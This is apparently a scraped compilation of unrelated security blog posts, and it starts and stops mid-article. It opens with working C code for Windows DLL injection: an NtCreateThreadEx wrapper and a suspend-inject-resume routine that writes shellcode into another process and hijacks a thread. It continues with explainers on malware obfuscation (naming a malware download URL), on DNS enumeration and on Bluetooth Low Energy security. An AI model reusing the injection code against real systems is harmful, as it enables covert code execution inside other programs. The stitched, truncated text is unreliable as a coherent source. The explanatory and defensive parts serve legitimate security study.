NtCreateThreadEx() is an undocumented ntdll.dll function. The trouble with undocumented functions is that they may disappear or change at any moment Microsoft decides. That being said, NtCreateThreadEx() came in good handy when Windows Vista’s session separation affected CreateRemoteThread() DLL injection.

Detailed information about this method is described here:

NtCreateThreadEx() is a bit more complicated to call, we’ll need a specific structure to pass to it and another to receive data from it. I’ve detailed the implementation here:


struct NtCreateThreadExBuffer {
 ULONG Size;
 ULONG Unknown1;
 ULONG Unknown2;
 PULONG Unknown3;
 ULONG Unknown4;
 ULONG Unknown5;
 ULONG Unknown6;
 PULONG Unknown7;
 ULONG Unknown8;
 }; 


typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
 OUT PHANDLE hThread,
 IN ACCESS_MASK DesiredAccess,
 IN LPVOID ObjectAttributes,
 IN HANDLE ProcessHandle,
 IN LPTHREAD_START_ROUTINE lpStartAddress,
 IN LPVOID lpParameter,
 IN BOOL CreateSuspended,
 IN ULONG StackZeroBits,
 IN ULONG SizeOfStackCommit,
 IN ULONG SizeOfStackReserve,
 OUT LPVOID lpBytesBuffer
);

HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {

 HANDLE hRemoteThread = NULL;

 LPVOID ntCreateThreadExAddr = NULL;
 NtCreateThreadExBuffer ntbuffer;
 DWORD temp1 = 0; 
 DWORD temp2 = 0; 

 ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

 if( ntCreateThreadExAddr ) {
 
  ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
  ntbuffer.Unknown1 = 0x10003;
  ntbuffer.Unknown2 = 0x8;
  ntbuffer.Unknown3 = &temp2;
  ntbuffer.Unknown4 = 0;
  ntbuffer.Unknown5 = 0x10004;
  ntbuffer.Unknown6 = 4;
  ntbuffer.Unknown7 = &temp1;
  ntbuffer.Unknown8 = 0;

  LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
  NTSTATUS status = funNtCreateThreadEx(
          &hRemoteThread,
          0x1FFFFF,
          NULL,
          hHandle,
          (LPTHREAD_START_ROUTINE)loadLibAddr,
          dllPathAddr,
          FALSE,
          NULL,
          NULL,
          NULL,
          &ntbuffer
          );
  
  if (hRemoteThread == NULL) {
   printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
   return NULL;
  } else {
   return hRemoteThread;
  }
 } else {
  printf("\n[!] Could not find NtCreateThreadEx!\n");
 }
 return NULL;

}

Now we can call it very much like CreateRemoteThread():

rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);

Suspend, Inject, and Resume

Suspend, Inject, and Resume is an unofficial term to describe the method of injecting into process by attaching to it, suspending it and all of its threads, targeting a particular thread, saving the current registers, changing the instruction pointer to point to your executing starting point, and resuming the thread. This is a much more intrusive method, but works reliably and does not depend on additional function calls.

This method is a little more involved to implement. There is a great write up here:


VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
 /*
  This is a mixture from the following sites:

   http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html
   http://www.kdsbest.com/?p=159

 */

 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE thread = NULL;
 THREADENTRY32 te;
 THREADENTRY32 te2;
 
 CONTEXT   ctx;
 DWORD firstThread = 0;
 HANDLE targetThread = NULL;

 LPVOID scAddr;

 int i;
 
 unsigned char sc[] = {
   // Push all flags
   0x9C,
   // Push all register
   0x60,
   // Push 3,4,5,6 (dllPathAddr)
   0x68, 0xAA, 0xAA, 0xAA, 0xAA, 
   // Mov eax, 8,9,10, 11 (loadLibAddr)
   0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
   // Call eax
   0xFF, 0xD0,
   // Pop all register
   0x61,
   // Pop all flags
   0x9D,
   // Ret
   0xC3
  };

 te.dwSize = sizeof(THREADENTRY32);
 te2.dwSize = sizeof(THREADENTRY32);
 ctx.ContextFlags = CONTEXT_FULL;

 sc[3] = ((unsigned int) dllPathAddr & 0xFF);
 sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
 sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
 sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

 sc[8] = ((unsigned int) loadLibAddr & 0xFF);
 sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
 sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
 sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);
 
 

 // Suspend Threads
 if(Thread32First(hSnapshot, &te)) {
  do {
   if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
    if ( firstThread == 0 )
     firstThread = te.th32ThreadID;
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
     SuspendThread(thread);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot, &te));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot);
  exit(-1);
 }
 CloseHandle(hSnapshot);

 printf("\t[+] Our Launcher Code:\n\t");
 for (i=0; i<17; i++)
  printf("%02x ",sc[i]);
 printf("\n");
 //  Get/Save EIP, Inject
 printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
 targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
 if (GetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] GetThreadContext Failed!\n");
 printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 printf("\t[+] Saving EIP for our return\n");
 ctx.Esp -= sizeof(unsigned int);
 WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
 printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

 scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

 printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

 printf("\t[+] Setting EIP to LauncherCode\n");
 ctx.Eip = (DWORD)scAddr;
 printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 if (SetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] SetThreadContext Failed!\n");

 // Resume Threads
 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 te.dwSize = sizeof(THREADENTRY32);

 if(Thread32First(hSnapshot2, &te2)) {
  do {
   if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
     ResumeThread(thread);
     if (te2.th32ThreadID == firstThread) 
      WaitForSingleObject(thread, 5000);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot2, &te2));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot2);
  exit(-1);
 }
 CloseHandle(hSnapshot2);
}

Side Note: DLL Proxying/DLL Hijacking

As a side note, DLL injection is very much different then DLL Proxying and Hijacking. For some reason, people tend to confuse these. The latter impersonates a legitimate DLL and essentially “tricks” the application to load it, while the former inserts a DLL into a process while its running.

DLL Proxying most commonly assumes you have full control over the application’s install directory. The “attacker” renames the legitimate DLL and copies their own DLL into the install directory. When the application runs, it loads the attacker’s DLL (since it’s named correctly) and then the attacker’s DLL relays the function calls to the legitimate one. DLL Proxying is most commonly used by the actual owner of the system as a method to extend application functionality. For instance, DLL proxying is popular in the gaming world. Lots of people use this technique to modify game functionality for cheating or other sorts of fun. “Spy” applications also leverage DLL Proxying in an attempt to capture user provided application values.

DLL Hijacking is similar to proxying but differs in that hijacking usually abuses Windows’ DLL search order in order to compromise a system (or otherwise control the flow of the application). It doesn’t usually require the attacker to have write permission to the application’s installation directory but rather the directory where the application was launched. In the case that the application attempts to call a non-existent DLL or if an attacker was able to place a malicious DLL in the same directory as a file that launches a vulnerable application, the attacker’s DLL would be loaded and code execution would be achieved. This is because Windows [used to] search for application DLLs in the current directory from which the application was loaded before most other locations.

dllInjector!

All of the techniques described here have been implemented in a small project called dllInjector that I’ll release in the next upcoming weeks! For a sneak preview, check it out here:

Original Post: http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Here at Malwarebytes, we see a lot of malware. Whether it’s a botnet used to attack web servers or a ransomware stealing your files, much of today’s malware wants to stay hidden during infection and operation to prevent removal and analysis. Malware achieves this using many techniques to thwart detection and analysis—some examples of these include using obscure filenames, modifying file attributes, or operating under the pretense of legitimate programs and services. In more advanced cases, the malware might attempt to subvert modern detection software (i.e. MBAM) to prevent being found, hiding running processes and network connections. The possibilities are quite endless.

Despite advances in modern malware, dirty programs can’t hide forever.  When malware is found, it needs some additional layers of defense to protect itself from analysis and reverse engineering.  By implementing additional protection mechanisms, malware can be more difficult to detect and even more resilient to takedown.  Although a lot of tricks are used to hide malware’s internals, a technique used in nearly every malware is binary obfuscation.

Obfuscation (in the context of software) is a technique that makes binary and textual data unreadable and/or hard to understand.  Software developers sometimes employ obfuscation techniques because they don’t want their programs being reverse-engineered or pirated.

Its implementation can be as simple as a few bit manipulations and advanced as cryptographic standards (i.e. DES, AES, etc).  In the world of malware, it’s useful to hide significant words the program uses (called “strings”) because they give insight into the malware’s behavior.  Examples of said strings would be malicious URLs or registry keys.  Sometimes the malware goes a step further and obfuscates the entire file with a special program called a packer.

Let’s see some practical obfuscation examples used in a lot of malware today.

Scenario 1: The exclusive or operation (XOR)
The exclusive or operation (represented as XOR) is probably the most commonly used method of obfuscation.  This is because it is very easy to implement and easily hides your data from untrained eyes.  Consider the following highlighted data.

XOR_encode

In its current form, the data is unreadable.  But when we apply an XOR value of 0x55, we see something else entirely.

XOR_decode

Now we have our malicious URL.  Looks like this malware contacts “http://tator1157.hostgator.com” to retrieve the file “bot.exe”.

This form of obfuscation is typically very easy to defeat.  Even if you don’t have the XOR key, programs exist to manually cycle through every possible single-byte XOR value in search of a particular string.  One popular tool available on both UNIX and Window platforms is XORSearch written by Didier Stevens.  This tool searches for strings encoded in multiple formats, including XOR.

Because malware authors know programs like these exist, they implement tricks of their own to avoid detection.  One thing they might do is a two-cycle approach, performing an XOR against data with a particular value and then making a second pass with another value.  A separate technique (although equally effective) commonly used is to increment the XOR value in a loop.  Using the previous example, we could XOR the letter ‘h’ with 0x55, then the letter ‘t’ with 0x56, and so on.  This would also defeat common XOR detection programs.

Scenario 2: Base64 encoding

Base64 encoding has been used for a long time to transfer binary data (machine code) over a system that only handles text.  As the name suggests, its encoding alphabet contains 64 characters, with the equal sign (=) used as a padding character.  The alphabet contains the characters A-Z, a-z, 0-9, + and /.  Below is an example of some encoded text representing the string pointing to the svchost.exe file, used by Windows to host services.

base64_

While the encoded output is completely unreadable, base64 encoding is easier to identify than a lot of encoding schemes, usually because of its padding character.  There are a lot of tools that can perform base64 encode/decode functions, both online and via downloaded programs.

Because base64 encoding is so easy to overcome, malware authors usually take things a step further and change the order of the base64 alphabet, which breaks standard decoders.  This allows for a custom encoding routine that is more difficult to break.

Scenario 3: ROT13
Perhaps the most simple of the three techniques that’s commonly used is ROT13.  ROT is an ASM instruction for “rotate”, hence ROT13 would mean “rotate 13”.  ROT13 uses simple letter substitution to achieve obfuscated output.

Let’s start by encoding the letter ‘a’.  Since we’re rotating by thirteen, we count the next thirteen letters of the alphabet until we land at ‘n’.  That’s really all there is to it!

ROT13_

The above image shows a popular registry key used to list programs that run each time a user logs in.    ROT13 can also be modified to rotate a different number of characters, like ROT15.

Scenario 4: Runtime packers
In a lot of cases, the entire malware program is obfuscated.  This prevents anybody from viewing the malware’s code until it is placed in memory.

This type of obfuscation is achieved using what’s known as a packer program.  A packer is piece of software that takes the original malware file and compresses it, thus making all the original code and data unreadable.  At runtime, a wrapper program will take the packed program and decompress it in memory, revealing the program’s original code.

Packers have been used for a long time for legitimate purposes, some of which include reducing file sizes and protecting against piracy.  They help conceal vital program components and deter novice program crackers.

Fortunately, we aren’t without help when it comes to identifying and unpacking these files.  There are many programs available that detect commercial packers, and also advise on how to unpack.  Some examples of these file scanners are Exeinfo PE and PEID (no longer developed, but still available for download).

exeinfope

However, as you might expect, the situation can get more complicated.  Malware authors like to create custom packers to prevent less-experienced reverse engineers from unpacking their malware’s contents.  This approach defeats modern unpacking scripts, and forces reversers to manually unpack the file and see what the program is doing.  Even rarer, sometimes malware authors will twice-pack their files, first with a commercial packer and then their own custom packer.

Conclusion
While this list of techniques is certainly not exhaustive, hopefully this has provided a better understanding of how malware hides itself from plain sight.  Obfuscation is a highly reliable technique that’s used to hide file contents, and sometimes the entire file itself if using a packer program.

Obfuscation techniques are always changing, but rest assured knowing we at Malwarebytes are well-aware of this.  Our staff has years of experience in fighting malware, and goes to great lengths to see what malicious files are really doing.

Bring it on, malware.  Do your worst!

Original Post: https://blog.malwarebytes.com/threat-analysis/2013/03/obfuscation-malwares-best-friend/

DNS Analysis and Tools

In this article, we will take a look at the complete DNS process, DNS lookup, DNS reverse lookup, DNS zone transfer, etc. along with some tools to analyze & enumerate DNS traffic.

Domain Name System (DNS) is a naming system used to convert human readable domain names like infosecinstitute.com into a numerical IP address. The process works like this: Let’s assume a user types infosecinstitute.com in their browser and what you see is indeed the infosecinstitute website. But what happens behind the scenes is rather interesting, like how the request got from my browser to the correct domain name?

Well, it is the job of the DNS resolver in the end user system to fetch the IP address for the requested domain. DNS settings can be managed in the following ways in end user system.

But how does the request actually change it to infosecinstitute.com? Well, the DNS resolver first checks the local cache to see if it contains any records for the requested IP. The local DNS cache can be checked using command:

ipconfig /displaydns

As you can see since in my cache there is already a request logged for www.infosecinstitute.com, now for future requests, all the queries to this domain can be fulfilled from local cache until the cache is refreshed and the respective IP is mapped under A record. Now this story seems simple, but how does the cache actually get filled? Yes, you guess it right; it filled when I browse the website, but the 2nd part of the question is still not answered how it actually fetches the website in the first attempt.

In the first attempt to browse a website by domain name, DNS resolver will query the ISP DNS server to look out for records, and if it is not found there, then a recursive DNS query starts which means querying DNS servers till the records are found. These recursive servers contain their own local cache in which they will look for results. Then if the result is still not found then, the query will be directed to root nameserver from where it will be redirected to the Top level domain(TLD) name servers. TLD nameserver reads the request from right to left and directs the query to TLD nameserver such as to .com TLD. Then .com TLD looks out for next part of request like infosecinstitute.com and query will be redirected to authoritative nameserver which surely has the information. For IP address, the information is A record. Remember request is still from the recursive nameserver, so the record is retrieved and stored in the local cache of the nameserver. This answer is further returned to end user computer and is stored in local cache.

Below are some important record types which can very well tell us the nature of NDS request. Some of the important Record Types are:

  • A record: Defines a host address
  • NS record: Authoritative Nameserver
  • MX record: Mail Exchange

For example, below we are using nslookup on infosecinstitute.com

Here we have set type=a and type=ns to display A record and NS record. We can see that ns1.pairnic.com is an authoritative name server for infosecinstitute.com. However, we will see below that using tool like dnsEnum this all information can be retrieved by default.

For a complete list of the type of records, see here.

Lookups

  • Forward Lookup: Above process that is we have mentioned is also known as Forward lookup. Take a look at below screenshot

    A very basic example is to use nslookup on google.com, and then IP address is displayed.

    Below is another example of nslookup on infosecinstitute.com which with the usage of type A & NS.

  • Reverse Lookup: As its name suggests, reverse lookup is a determination of domain name from IP address. For ipv4 address, reverse DNS lookups uses special domain in-addr.arpa for any query and is appended to the IP address for performing a reverse lookup. The reason to use a specific domain in-addr.arpa for reverse lookup is because how DNS structure is built and for reverse DNS if that structure is followed then it will take too long. This IP address is then read or with some tools mentioned in reverse order for example if we have to perform a reverse lookup for 1.2.3.4 then we need to search for 4.3.2.1

For example, below we are doing a reverse nslookup on one of Google servers. As you can see that address is reversed and in-addr.arpa is appended

Below is an example of reverse lookup for infosecinstitute.

Looks like we cannot perform reverse lookup on infosecinstitute.com domain ☺

DNS Analysis in Kali

As we know, Kali distro is specially assembled for pen testers and have some really cool tools available to do pen-test in just a few clicks. For DNS analysis also it has some great tools. Below are some of the tools that can be used for DNS information gathering.

  • Dnsenum

As we can see, we get all the information for infosecinstitute automatically from dnsEnum tool which having to specify the record type that we were doing in nslookup. We can see Host IP address, Nameservers, Mail Servers, etc. In its simplest usage, type dnsenum <domainname>. For more important options like no-reverse type –h as a parameter.

  • Dnsrecon

    Short for DNS reconnaissance, this tool is also present in Kali distro. Below is a screenshot of Dnsrecon in action.

    We can see that dnsrecon gives us a good amount of information on domain infosecinstitute.com. We can see record types like A, SOA, MX, NS, TXT and even SRV.

  • Dnstracer

    Dnstracer gives us a map of a complete request from end user machine to NS.

    Here we have the tracing like

    #end-user-machine# <—> #DNS server#<—> Google name server (ns (1|2|3|4).google.com)

DNS Structure & Packet Analysis using Wireshark

In this section, we will cover DNS structure and packet Analyses using a very powerful tool known as Wireshark. Many of you reading the article might already be familiar with this tool as it is extremely popular tool mainly because of the wide protocol it supports and for a user-friendly interface.

So let’s take a look at the complete DNS structure in the following examples.

Below is a screenshot for a standard query and response packet in Wireshark. As you can see below is a request for infosecinstitute.com for Records types: Type A and Type AAAA which is simply asking host’s ipv4 address and ipv6 address respectively.

Below is a complete DNS request format for record type A

Important points to note here are:

  • Before DNS protocol notice that UDP is used for source port 54458 and destination port 53.
  • We can see the Response packet no for this query. In this case, it is 30. Also, note the transaction ID. It should match in the response packet.
  • Under Flags:
    • The first bit is set to 0 which means it is a query. Bonus points to you if you can guess what will be set for query response(See below in the response section below)
    • Next, 4 bits are set to 0000 which means that it is a standard DNS query.
    • The 8t bit is set to 1 which means that recursive queries are enabled on our DNS server.
    • 14th Bit is set to 0 which means it will accept authenticated data.
  • Under Queries, you can see that the request is made for www.infosecinstitute.com for record type A in internet (IN) class.

Similar DNS query for record type AAAA below

Now let’s take a look at the response section. Below is a query response for an earlier query for record type A.

Important points to note in the response structure are:

  • We can see the Request query packet no for this response. Transaction ID is correctly matched to transaction ID within Request query packet.
  • Under Flags:
    • The first bit is set to 1 which means that it is a DNS response packet.
    • Recursive queries are enabled.
    • There is no error in the response query.
  • Also, there is some additional data (name servers) found in the response.
  • There are more sections to Queries and Answers which relates to what was asked from DNS and what is the response. In this example, we have queried IP address for www.infosecintitute.com and got the answer: 107.170.21.171
  • There are some authoritative name servers also found for infosecinstitute.
  • Under Additional Records, we can even see the IP address of these authoritative nameservers.

Below is a similar response to request query for record type AAAA.

Since there will be a lot of data flowing across the monitored interface, we can use Wireshark filter capability to automatically recognize/display only DNS packets (in this case). Below is an interface to create a new filter under Capture>Filters.

Click on + sign to create a new filter. Below is an example where I created a DNS filter to filter traffic destined for port 53.

Notice I did not mention any protocol here because I want to see both UDP and TCP for port 53. As a reminder, TCP 53 is used for zone transfer(AXFR).

Now we will see how to analyze zone transfer in Wireshark.

Below is an example of a zone transfer request to www.infosecinstitute.com. Look out for results below

Since zone transfer happens over TCP, so the first 3 packets you can see is the handshake process happening. After a successful handshake, a DNS standard query for record type AXFR is made. Below is the request query

Notice the query type under queries section. Below is the response packet for this request query.

As you can see that the reply code is 9 which means DNS server is not authoritative to get zones from authoritative name servers which result in connection termination which we can in the below connection termination sequence of TCP packets.

DNS traffic analysis adds a lot of context during the investigation, for example, we can build up Indicators of Compromise based on DNS traffic, we can detect DNS zone transfers and even an organization can look at how much information it has actually revealed about itself. With these analysis results, DNS servers can be hardened.In this article, we have also learned that how looking at DNS records like AAAA, AA; DNS lookups (both forward and reverse); Response Codes; Queries and Answers; Wireshark packet stream feature can really help to set the context for an investigation.

Original Post: http://resources.infosecinstitute.com/dns-analysis-and-tools/

Security Considerations For Bluetooth Smart Devices

Bluetooth Smart is an emerging short range wireless technology aimed for low power devices. Bluetooth 4.2 core specification provides various methods to secure the communication between devices and establish trusted connections.

 

1. Introduction

Bluetooth smart (also known as Bluetooth low energy or BLE) is introduced in the legacy Bluetooth 4.0 specification by Bluetooth special interest group. Bluetooth smart is primarily designed for low power embedded devices with limited computation capabilities. With expeditious growth in the IoT technology, Bluetooth Low Energy Module has become substantiate criterion for the smart devices.

Bluetooth specification supports the asymmetrical architecture of the LE devices. Memory and processing power requirements of peripheral devices are much lower than the central. This will be a great advantage in case of single mode – peripheral only devices. Device that acts always as peripheral can be designed with low memory, longer battery life and low power consumption. Low power smart wearable devices available in market such as Bluetooth heart rate monitors, blood pressure monitors, fitness kit, smart watches etc. run on a small coin cell battery for years.

2. Low energy, Low security

Like any other wireless technology, BLE is no exception from security threats. While Bluetooth LE beacons bring lots of potential in the IOT design, security threats such as device tracking, eaves dropping, and man in the middle attack are increasing significantly. BLE devices are designed to broadcast MAC, UUID and service information’s at a predefined interval. Due to continuous advertisement, hackers can easily track the device and decode the broadcasting information using a sniffers or even smart phone. Below Figure 1 indicates how a LE device can be tracked by the hacker and steal sensitive data over a period of time across various geographical locations.

With hacking and cybercrime reported enormously all over the world, people are extremely concerned about the privacy. Sensitive data getting in to the hands of the wrong people without user consent may lead to significant damages. For example, if such devices with serious security flaws are deployed in military, it can reveal the secrets to the rivals.

Figure 1 – LE devices without privacy

3. Threats for Bluetooth Smart

Passive Eavesdropping:

Passive eavesdropping is secretly listening to the private communication between two devices in real-time by un-authenticated third party devices (eavesdropping equipment). Using a 2.4GHZ channel sniffer, one can listen to all the communication between BLE devices without the consent of communicating devices. Since eavesdropping does not affect the normal communication between the devices, chances of user noticing eavesdropping attempt are extremely low. If unencrypted message or unsigned messages are used in communication, hacker can get direct access to all the confidential data exchanged between the devices. Pairing procedures are the well-known techniques to avoid the eavesdropping issues and encrypt the messages before exchange. But, if the attacker is listening to the devices during the pairing process itself, then pairing methods can’t assure the safety against the attack!

Man in the Middle (MITM):

In MITM, attacker secretly reads and interprets the messages from the sender and delivers the message to the reader after interpreting it. Since the attacker is actively involved in the communication between the devices, this attack is also known as active eavesdropping. During the course of attack, attacker may insert his own messages or corrupt the data before delivering it to the reader. Devices participating in the connection will assume that they are communicating with each other directly. But an intermediate MITM attacker has complete control over the communication of these devices. Public key cryptography can provide needed protection against MITM. But this method will fail, if an active MITM attacker listens to the shared public key during the initial pairing process and shares his own public Key instead of actual public key. A device which received the public key from attacker has no knowledge about the source of the key and hence it will encrypt and send the next message with the public key shared by the attacker. Now, the attacker can easily decrypt the messages and interpret it. Also, he may optionally decide to encrypt the message using the original public key and deliver to the initiator to keep the communication intact. Below figure-2 indicates how a hacker can attack the communication between two devices in MITM.

Figure 2 – MITM

Identity Tracking:

Bluetooth Low Energy 4.0 devices are designed for periodic advertisement of the status or its existence. Advertisement packet contains the MAC address of the broadcaster and unique service formation. It also contains information about the proximity of the device in terms of the signal strength. Using publicly available advertisement data and characteristics, attacker can extract large amount of information which may help him to track the devices based on these unique information.

Duplicate device:

An attacker with the knowledge of MAC address can make a dummy device with the same MAC address, which runs the dummy service. Such kind of attack is more dangerous in business and may lead to huge loss since customers will not be able to get the intended service.

4. Security architecture:

Security in Host:

Unlike classic Bluetooth, Bluetooth low energy sensors and devices implement the key management and security manager on host instead of controller. All the key generation and distributions of key are taken care by SMP running on host. This approach introduced by Bluetooth specification helps the host to be flexible and reduces the cost and complexity of LE-only controllers. Security manager:

Figure 3 – Security Manager

Bluetooth specification mandates a security manager in the protocol stack implementation. Security manger defines the authentication, pairing, encryption and signing between the Bluetooth low energy devices. This is responsible for all the security and privacy implementations of the BLE stack such as generation and storing various keys, generating random address and address resolution for the privacy feature. Security manager uses the services provided by the L2CAP layer to manage the security. Each device can generate its own key without any external influence and strength of the key is proportional to the algorithm implemented in the device

LE security modes:

Bluetooth Security requirements of the device and services are expressed in terms of security modes and security levels. Each service and device may have separate security requirement. A physical connection between two devices always operates in a single security mode. With wide adoption of 4.2 specifications, secure simple pairing methods have become de-facto requirement for the LE device to ensure security.

LE security mode 1:

Security level-1 and level-2 in these modes supports LE communication without security and encryption without pairing respectively. Level 3 and level 4 provides more security to the system than prior levels. LE secure connection (Level-4) introduced in Bluetooth SIG 4.2 specifications, brings in high security to the LE communication via Elliptic Curve Diffie-Hellman (ECDH) public key cryptography technique.

LE security mode 2:

Devices conform to security mode-2 supports both authenticated and unauthenticated pairing along with mandatory data signing. Data can be signed using various techniques including public key cryptography to ensure the data integrity and security.

Mixed Security mode:

For the devices which need both mode-1 and mode-2 security shall use mixed security mode. This enables the devices to use combination of multiple security modes such as data signing along with ECDH to provide enormous security to the smart devices.

Secure Connection Only mode:

When LE smart devices operates in secure connection only mode they shall use authenticated connection and pairing with encryption. Device shall only accept outgoing and incoming connections for services that use security mode-1, level 4. With this restriction, devices operating in this mode should use ECDH, introduced in 4.2 specifications.

5. Securing Bluetooth Smart: Pairing:

The association is done in three phases, which includes device capability exchange, LTK generation for secure Connection and transport specific key distribution. For legacy devices, STK is used instead of LTK.

Figure 4 – Pairing Process

Phase-1 (capability exchange):

The first step of pairing process is to exchange the identity and capability information to establish a trusted link between LE devices. Master initiates the pairing procedure by sending a pairing request to slaves. If security procedures are not initiated by the master, slave can request master for initiating it. Once the security requests are received by the slave, master re-initiates the pairing process.

Phase-2 (Secure Key Generation):

Selection of pairing method depends on capabilities exchanged in phase-1. Short Term Keys (STK) are generated based on selected pairing method such as just works, passkey entry and out of band. Generated secure key pairs (STK) will be used to establish a secure channel between the participating devices.

In legacy 2.0 standards, PIN based pairing method was introduced. In this method, users must enter the predefined 4-digit PIN code on both the devices. Devices will be paired on successful authentication of the PIN on both ends. These predefined PINs cannot be changed unless the next firmware upgrade. Since it is a fixed number, it is relatively easy for the hackers to interpret the messages and break the security of the system. Later in 2.1 specifications, Secure Simple Pairing (SSP) methods introduced to ensure both security and simplicity

Just Works:

In Just Work method, no key exchange between the devices and no user interaction required. This method is well suited if at-least one of the devices participating in the communication doesn’t have the user interface. This method provides no MITM protection.

Numeric comparison:

If both devices participating in the BLE connection have a display and at-least has Yes/No Key, then numeric comparison method can be used. A 6-digit randomly generated code will be displayed on each device. User need to press Yes/No after manually verifying the key’s displayed.

Pass Key Entry:

This method may be used for the devices with a display and other with the keypad or both devices with at-least numeric keypad. In first case, one device shows the 6-digit number and other receives the 6-digit input from user and in later case both devices receives 6-digit numeric input from the user. On successful authentication devices will be paired and provides MITM protection.

Out of Band:

Out of band pairing method is adopted by Bluetooth standards for the scenarios where both the devices participating in the communication have enabled out of band communication channel. All secret information’s and cryptographic keys will be exchanged out of the Bluetooth band. With the rapid growth of the NFC technology, NFC has become de-facto technology for Bluetooth OOB communications. Since NFC works at 13.56 MHz, Bluetooth sniffers on 2.4GHz bandwidth can’t listen to the information exchanged in the pairing process. Also, NFC is designed to operate over a very small distance up to 10cm, which makes it more suitable for security critical applications to avoid any MITM attacks.

Phase-3 (Transport Specific Key Distribution):

After STK generation and encrypting the links, transport specific keys are distributed. Keys to be distributed are determined by the parameters of pairing request and response. Keys exchanged in this phase may include LTK, IRK, the signature key etc.

Bonding:

Bonding is the process of creating the long term trusted relationship between the devices based on link key generated during pairing process. Long term key’s (LTK) are generated and stored on both the initiator and responder. These LTK’s must be used for all the subsequent communication between the same devices to ensure the data security.

Key Generation:

Host implements the necessary API’s on LE devices to generate the keys such as STK, LTK, IRK, CSRK etc. Unlike classic Bluetooth, controller is not involved any key generation methods in case of BLE. The host generates Private and Public key pair and secure connection will be created by taking the factors from both the devices participating creating the communication. Master and Slave exchanges Identity resolving Key (IRK) for device Identity and Connection Signature Resolving Key (CSRK) for Authentication of unencrypted data.

Encryption:

LE controller uses the keys generated by the host and encrypts the messages. Legacy controllers are designed to support to FIPS compliant 128-bit AES. Latest 4.2 LE specifications introduce Elliptic Curve Diffie-Hellman (ECDH) cryptography over earlier 128-bit AES. ECDH initially exchanges the keys over public insecure channel and then enables the secure channel communication between the devices participating in the process.

Signed Data:

BLE specification supports sending signed data over an unencrypted channel with trusted relationship. Even though devices are not paired, BLE devices can still maintain the privacy of data by signing it. The sender uses CSRK to sign the data and receiver verifies the signature. On successful verification of the signature, the receiver assumes that a message has arrived from a trusted source.

Privacy feature:

Devices are identified by a 48-bit MAC address compliant to IEEE. It is optional for the devices to implement either or both public address and private address. Public device address is broadcasted by the BLE device and hence increases the risk of security. Bluetooth devices provide the privacy feature to reduce the risk of device tracking based on identifier of the device. In legacy BLE systems, host implements the address generation and resolution. According to BLE 4.2 specification, private address generation and resolution are implemented in the controller. Privacy enabled devices are expected to support at-least one of the static device address or private address.

Static device address:

The static device address is randomly generated 48-bit address compliant to Bluetooth SIG specifications. Static address will be changed on every power cycle, and hence reduced the risk of tracking over power cycles. But the devices which are not power cycled for a long time may face higher security risk.

Private address:

